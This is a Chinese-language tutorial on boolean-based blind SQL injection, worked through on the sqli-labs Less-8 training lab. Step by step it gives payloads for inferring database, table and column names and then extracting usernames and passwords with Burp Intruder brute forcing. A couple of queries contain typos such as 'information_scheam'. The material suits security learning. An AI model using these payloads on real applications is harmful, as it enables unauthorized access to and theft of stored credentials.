布尔盲注适用于无回显的情况,只有通过true或false及页面是否正常来判断所输入内容是否正确
sqli-lab less8 为例
1.判断注入类型
首先 id=1 and 1=2,回显正常,证明是字符型
2、判断闭合符
id=1' 无回显,证明是单引号闭合,直接 id=1’--+进行注释
3、判断当前数据库
(1)判断数据库名长度
id=1' and length(database()) =n --+ 从1开始一个一个试,试到8时有回显,证明数据库名长度为8
(2)猜数据库名
知道了数据库名长度是8,我们也可以通过同样的方法,通过是否能进入页面判断这个数据库名
id=1' and substr(database(),1,1)='s' --+
布尔盲注主要靠猜,手注太费时费力,我们进行bp抓包爆破
首先制造语句,利用bp抓包并发送到intruder
在两个位置添加爆破位置,一个是数字,另一个是字母 ,攻击类型选择集束炸弹
因为我们知道了数据库名长度为8,所以第一个位置爆破只需要从1-8就行,在第二个位置的爆破选择简单列表,上传26个英文字母的字典,进行爆破
可以看到爆破出来的数据库名字为‘security’
4、判断指定库的所有表
(1)判断当前库有多少个表
id=1' and (select count(table_name) from information_schema.tables
where table_schema='security')=4 --+
我们可以看到共有四张表
(2)判断指定库中表名最多有几个字母
id=1' and length((select table_name from information_scheam.tables
where table_schema=database() limit 0,1))=6 --+
知道了第一张表总共有6个字母
接下来我们利用substr函数爆破第一张表的内容
制造语句并发送到intruder还是在数字和字母位置添加payload,方法和上面类似,进行爆破
知道第一张表为emais,接下来就是爆破其余三张表 ,操作步骤和上面类似,只是更改limit n,1中的n就可以选取别的表,我们挨个找找到了users这张表
5、判断指定库指定表的字段
(1)判断指定表中有几个字段
id=1' and (select count(column_name) from information_schema.columns where table_schema=database() and table_name='users')=3--+
(2)判断指定库的指定表中字段最多有几个字母
id=1' and length((select column_name from information_scheam.columns where table_schema=database() and table_name='users' limit 0,1))=2 --+
然后开始爆破
?id=1' and substr((select column_name from information_schema.columns where table_name = 'users' and table_schema = 'security' limit 0,1),1,1)='i' --+
发送到bp,还是在substr函数第二位置和字母那里制造payload,得到一个列为id,再更改limit n,1分别爆破另外两列,即可得到另外两列为username和password
6、爆破内容
(1)判断用户数量
?id=1' and (select count(*) from users)=13 --+
(2)判断内容名有最多有几个字母
?id=1' and length((select username from security.users limit 0,1))=4 --+
使用bp爆破
?id=1' and substr((select username from security.users limit 0,1),1,1)='a'--+爆出第一个人的姓名,然后修改limit n,1爆出另外12个user的名字 ,再将username换成password继续爆破即可得到所有信息
如有错误欢迎指正